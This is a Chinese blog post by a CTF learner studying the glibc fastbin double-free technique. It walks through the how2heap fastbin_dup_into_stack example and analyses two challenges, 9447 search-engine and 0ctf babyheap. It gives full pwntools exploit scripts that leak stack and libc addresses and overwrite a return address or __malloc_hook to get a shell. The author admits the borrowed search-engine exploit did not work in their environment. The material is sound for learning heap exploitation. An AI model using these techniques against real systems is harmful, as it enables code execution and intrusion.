尽量去有秩序的入门堆。。。但大部分堆看起来都太痛苦了。。

fastbin_dup原理

利用堆对fastbin的管理特性,当chunk在fastbin的表头时,再次释放会触发检测机制,防止double free,但是若不在表头,便不会有这个问题。
产生这种结果的原因是: fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

可以用how2heap的例子来理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

运行结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 ./fastbin_dup_into_stack 
This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7ffe1abfa870.
Allocating 3 buffers.
1st malloc(8): 0x56317e17e260
2nd malloc(8): 0x56317e17e280
3rd malloc(8): 0x56317e17e2a0
Freeing the first one...
If we free 0x56317e17e260 again, things will crash because 0x56317e17e260 is at the top of the free list.
So, instead, we'll free 0x56317e17e280.
Now, we can free 0x56317e17e260 again, since it's not the head of the free list.
Now the free list has [ 0x56317e17e260, 0x56317e17e280, 0x56317e17e260 ]. We'll now carry out our attack by modifying data at 0x56317e17e260.
1st malloc(8): 0x56317e17e260
2nd malloc(8): 0x56317e17e280
Now the free list has [ 0x56317e17e260 ].
Now, we have access to 0x56317e17e260 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x56317e17e260 to point right before the 0x20.
3rd malloc(8): 0x56317e17e260, putting the stack address on the free list
4th malloc(8): 0x7ffe1abfa860

可以看出1st malloc分配的内存被分配了两次,这样就可以修改其fd指针来控制分配的chunk的位置,例如chunk4就被分配到了栈里。

例题-9447-search-engine

条件

程序给出了三个选项。2可以输入一个自己指定长度的句子,然后可以用1来索引2中句子的单词,索引到之后可以选择是否删除该句子。

1
2
3
4
5
6
int menu()
{
puts("1: Search with a word");
puts("2: Index a sentence");
return puts("3: Quit");
}

inde a sentence.程序写的很复杂,看起来很揪心。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
int index_a_sentence()
{
int v0; // eax
__int64 v1; // rbp
int v2; // er13
char *v3; // r12
signed __int64 v4; // rbx
signed __int64 v5; // rbp
_DWORD *v6; // rax
int v7; // edx
__int64 v8; // rdx
__int64 v10; // rdx

puts("Enter the sentence size:");
v0 = get_num();
v1 = (unsigned int)(v0 - 1);
v2 = v0;
if ( (unsigned int)v1 > 0xFFFD )
puts_("Invalid size");
puts("Enter the sentence:");
v3 = (char *)malloc(v2);
read_until_newline((__int64)v3, v2, 0);
v4 = (signed __int64)(v3 + 1);
v5 = (signed __int64)&v3[v1 + 2];
v6 = malloc(0x28uLL);
v7 = 0;
*(_QWORD *)v6 = v3;
v6[2] = 0;
*((_QWORD *)v6 + 2) = v3;
v6[6] = v2;
do
{
while ( *(_BYTE *)(v4 - 1) != 32 )
{
v6[2] = ++v7;
LABEL_4:
if ( ++v4 == v5 )
goto LABEL_8;
}
if ( v7 )
{
v10 = qword_6020B8;
qword_6020B8 = (__int64)v6;
*((_QWORD *)v6 + 4) = v10;
v6 = malloc(0x28uLL);
v7 = 0;
*(_QWORD *)v6 = v4;
v6[2] = 0;
*((_QWORD *)v6 + 2) = v3;
v6[6] = v2;
goto LABEL_4;
}
*(_QWORD *)v6 = v4++;
}
while ( v4 != v5 );
LABEL_8:
if ( v7 )
{
v8 = qword_6020B8;
qword_6020B8 = (__int64)v6;
*((_QWORD *)v6 + 4) = v8;
}
else
{
free(v6);
}
return puts("Added sentence");
}

search word:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void search_with_a_word()
{
int v0; // ebp
void *v1; // r12
__int64 i; // rbx
char v3; // [rsp+0h] [rbp-38h]

puts("Enter the word size:");
v0 = get_num();
if ( (unsigned int)(v0 - 1) > 0xFFFD )
puts_("Invalid size");
puts("Enter the word:");
v1 = malloc(v0);
read_until_newline((__int64)v1, v0, 0);
for ( i = qword_6020B8; i; i = *(_QWORD *)(i + 32) )
{
if ( **(_BYTE **)(i + 16) )
{
if ( *(_DWORD *)(i + 8) == v0 && !memcmp(*(const void **)i, v1, v0) )
{
__printf_chk(1LL, "Found %d: ", *(unsigned int *)(i + 24));
fwrite(*(const void **)(i + 16), 1uLL, *(signed int *)(i + 24), stdout);
putchar(10);
puts("Delete this sentence (y/n)?");
read_until_newline((__int64)&v3, 2, 1);
if ( v3 == 121 )
{
memset(*(void **)(i + 16), 0, *(signed int *)(i + 24));
free(*(void **)(i + 16));
puts("Deleted!");
}
}
}
}
free(v1);
}

get_num:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 get_num()
{
__int64 result; // rax
char *endptr; // [rsp+8h] [rbp-50h]
char nptr; // [rsp+10h] [rbp-48h]
unsigned __int64 v3; // [rsp+48h] [rbp-10h]

v3 = __readfsqword(0x28u);
read_until_newline((__int64)&nptr, 48, 1);
result = strtol(&nptr, &endptr, 0);
if ( endptr == &nptr )
{
__printf_chk(1LL, "%s is not a valid number\n", &nptr);
result = get_num();
}
__readfsqword(0x28u);
return result;
}

分析

get_num这个函数本身有漏洞,它将输入的最大48位字符串转化为数字,但是问题就是在确定字符串时是以结尾的null来判断的,
所以我们如果输入48个字符的话,在报错时可能会将之后的栈内存打印出来从而泄露栈地址。

整个过程大概是以一个结构体来保存每个单词:(40个字节)

1
2
3
4
5
6
7
8
struct words_struct 
{
addr* words_str; //单词字符串的起始位置(其实是在句子字符串当中的)
int64_t size; // 单词大小
addr* ptr_to_sentences; //单词所在的句子字符串的位置
int64_t* size_of_sentences;//句子长度
words_struct* next_word;//链表下一个节点指针
};

在删除句子时,是将word_struct中ptr_to_sentences所指向的句子释放,但未置为null。
在每次释放 i->sentence_ptr 之前,这个句子的内容就会全部被设置为 \x00 ,由于单词结构体中存储的单词只是句子的一个指针,
所以单词也会被置为 \x00 。该句子对应的那些单词仍然是存在于链表中的,并没有被删除,因此每次搜索单词的时候,仍然会判断。
看起来由于句子内容被置为 \x00 可以防止通过 *i->sentence_ptr 验证。然而,由于 chunk 被释放后会被放到 bin 中,
当 chunk 不是 fastbin 或者 chunk 被重新分配出去使用的时候,也就有可能会产生 double free 的情况。
此外,当句子被 memset 的时候,单词虽然都变为了 \x00 ,但是我们仍然可以通过两个 \x00 的比较来绕过 memcmp 的检测。

利用思路

1) 利用get_num函数的漏洞试图泄露栈地址
2) 泄露libc_address,从而计算出system 和 /bin/sh的地址
3) 利用fastbin_dup 进行double free
4) 利用double free来覆盖栈中的返回地址控制程序执行system(“/bin/sh”)

思路大抵如此,但是借鉴大佬的exp却都无法正常得到shell,不晓得哪里有问题,或许是环境不一样

exp

先附上大佬写的exp,再多捋一捋思路,调试调试,去找到问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/env python2

from pwn import *

context(arch="amd64", os="linux")

p = process('./search-bf61fbb8fa7212c814b2607a81a84adf')

# binsh_offset 找不到
pop_rdi_ret = 0x400e23
system_offset = 0x46590
puts_offset = 0x6fd60
binsh_offset = 1558723

def leak_stack():
p.sendline('A'*48)
p.recvuntil('Quit\n')
p.recvline()

# doesn't work all the time
p.sendline('A'*48)
leak = p.recvline().split(' ')[0][48:]
return int(leak[::-1].encode('hex'), 16)

def leak_libc():
# this sentence is the same size as a list node
index_sentence(('a'*12 + ' b ').ljust(40, 'c'))

# delete the sentence
search('a' * 12)
p.sendline('y')

# the node for this sentence gets put in the previous sentence's spot.
# note we made sure this doesn't reuse the chunk that was just freed by
# making it 64 bytes
index_sentence('d' * 64)

# free the first sentence again so we can allocate something on top of it.
# this will work because 1) the sentence no longer starts with a null byte
# (in fact, it should be clear that it starts a pointer to 64 d's), and 2)
# the location where our original string contained `b` is guaranteed to be
# zero. this is because after the original sentence was zeroed out, nothing
# was allocated at offset 12, which is just padding in the structure. if
# we had made the first word in the string 16 bytes instead of 12, then that
# would put 'b' at a location where it would not be guaranteed to be zero.
search('\x00')
p.sendline('y')

# make our fake node
node = ''
node += p64(0x400E90) # word pointer "Enter"
node += p64(5) # word length
node += p64(0x602028) # sentence pointer (GOT address of free)
node += p64(64) # length of sentence
node += p64(0x00000000) # next pointer is null
assert len(node) == 40

# this sentence gets allocated on top of the previous sentence's node.
# we can thus control the sentence pointer of that node and leak memory.
index_sentence(node)

# this simply receives all input from the binary and discards it, which
# makes parsing out the leaked address easier below.
p.clean()

# leak the libc address
search('Enter')
p.recvuntil('Found 64: ')
leak = u64(p.recvline()[:8])
p.sendline('n') # deleting it isn't necessary
return leak

def index_sentence(s):
p.sendline('2')
p.sendline(str(len(s)))
p.sendline(s)

def search(s):
p.sendline('1')
p.sendline(str(len(s)))
p.sendline(s)

def make_cycle():
index_sentence('a'*54 + ' d')
index_sentence('b'*54 + ' d')
index_sentence('c'*54 + ' d')

search('d')
p.sendline('y')
p.sendline('y')
p.sendline('y')
search('\x00')
p.sendline('y')
p.sendline('n')

def make_fake_chunk(addr):
# set the fwd pointer of the chunk to the address we want
fake_chunk = p64(addr)
index_sentence(fake_chunk.ljust(56))

def allocate_fake_chunk(binsh_addr, system_addr):
# allocate twice to get our fake chunk
index_sentence('A'*56)
index_sentence('B'*56)

# overwrite the return address
buf = 'A'*30
buf += p64(pop_rdi_ret)
buf += p64(binsh_addr)
buf += p64(system_addr)
buf = buf.ljust(56, 'C')

index_sentence(buf)

def main():
stack_leak = leak_stack()

# This makes stack_addr + 0x8 be 0x40 //在泄露的栈地址附近寻找0x40用于充当fakechunk的size
stack_addr = stack_leak + 0x5a - 8

log.info('stack leak: %s' % hex(stack_leak))
log.info('stack addr: %s' % hex(stack_addr))

libc_leak = leak_libc()
libc_base = libc_leak - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

log.info('libc leak: %s' % hex(libc_leak))
log.info('libc_base: %s' % hex(libc_base))
log.info('system addr: %s' % hex(system_addr))
log.info('binsh addr: %s' % hex(binsh_addr))

make_cycle()
make_fake_chunk(stack_addr)
allocate_fake_chunk(binsh_addr, system_addr)

p.interactive()

if __name__ == '__main__':
main()

例题-0ctfbabyheap

条件

炒鸡正规的条件选项题:

1
2
3
4
5
6
7
8
./0ctfbabyheap 
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:

分配的块可以分析出有一个结构体:

1
2
3
4
5
         struc_4  structure{ 
00000000 inuse
00000001 size
00000002 ptr
00000003 }struc_4 ends

inuse可以标记块的释放与否,size记录大小,ptr指向分配的内存地址;

各个选项就不一一列举了,每个选项就如它名字一般:
allocate使用calloc分配块,最大4096;
fill填充用户指定allocate分配的块及新的size,所以很明显可以覆盖指针云云;
free将inuse变为0,size归零,free掉指针,但是并未将其指向null;但是因为allocate时使用的是calloc将原空间置零,所以无法UAF。
dump检测完inuse位,之后可以将size大小的ptr指向的地址的内容打印出来。

分析

即使这个程序的漏洞这么明显,还是不知道怎么下手,满脑子unlink??不过鉴于这是fastbin_dup处的学习,学学大佬们的思路。

目标:1.leak libc地址
2.利用fastbin_dup将chunk分配到malloc_hook处(malloc_hook 是一个 libc 上的函数指针,调用 malloc 时如果该指针不为空则执行它指向的函数,可以通过写 malloc_hook 来 getshell)

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x/20gx  (long long)(&main_arena)-0x30
0x7fa3a2008c10 <_IO_wide_data_0+304>: 0x00007fa3a2004d60 0x0000000000000000
0x7fa3a2008c20 <__memalign_hook>: 0x00007fa3a1ed4bf0 0x00007fa3a1ed5160
0x7fa3a2008c30 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 <-- malloc hook
0x7fa3a2008c40 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7fa3a2008c50 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7fa3a2008c60 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7fa3a2008c70 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7fa3a2008c80 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7fa3a2008c90 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7fa3a2008ca0 <main_arena+96>: 0x000055b863881360 0x0000000000000000

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context.log_level = 'debug'
sh = process('./0ctfbabyheap')
ENV = {"LD_PRELOAD":"./libc.so.6"}

def allocate(size):
sh.recvuntil('Command: ')
sh.sendline("1")
sh.recvuntil('Size: ')
sh.sendline(str(size))

def fill(index,content):
sh.recvuntil('Command: ')
sh.sendline("2")
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Size: ')
sh.sendline(str(len(content)))
sh.recvuntil('Content: ')
sh.sendline(content)

def free(index):
sh.recvuntil('Command: ')
sh.sendline("3")
sh.recvuntil('Index: ')
sh.sendline(str(index))

def dump(index):
sh.recvuntil("Command: ")
sh.sendline("4")
sh.recvuntil('Index: ')
sh.sendline(str(index))

#---------

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)


#----------leak libc base-----------
free(2)
free(1)

fill(0,'a'*0x10+p64(0)+p64(0x21)+p8(0x80))
fill(3,'d'*0x10+p64(0)+p64(0x21))

allocate(0x10)
allocate(0x10)
fill(3,'d'*0x10+p64(0)+p64(0x91))
allocate(0x80)

free(4)
dump(2)
sh.recvuntil('Content: \n')
leak_addr = u64(sh.recv(8))
main_arena = leak_addr - 88
libc_base = main_arena - 0x3c4b20
print 'main_arena: '+hex(main_arena)
print 'libc_base: '+hex(libc_base)
#gdb.attach(sh)

#------------hjack malloc_hook --------
one_gadget_off = 0x4526a
one_gadget_addr = libc_base + one_gadget_off
print 'one_gadget_addr: '+hex(one_gadget_addr)

allocate(0x60)
free(4)
fill(2,p64(main_arena - 0x33))
allocate(0x60)
allocate(0x60)

fill(6,'a'*0x13+p64(one_gadget_addr))
#gdb.attach(sh)
allocate(0x100)

sh.interactive()

reference:
https://blog.csdn.net/qq_35519254/article/details/78213962?utm_source=blogxgwz1
https://bbs.pediy.com/thread-223461.htm

没有人指导堆的学习,日常入门到入土,太难受了。主要是前天打比赛结果很惨烈,希望能加把劲把基础的堆问题给解决掉,下次比赛尽量能够解决一些堆的题。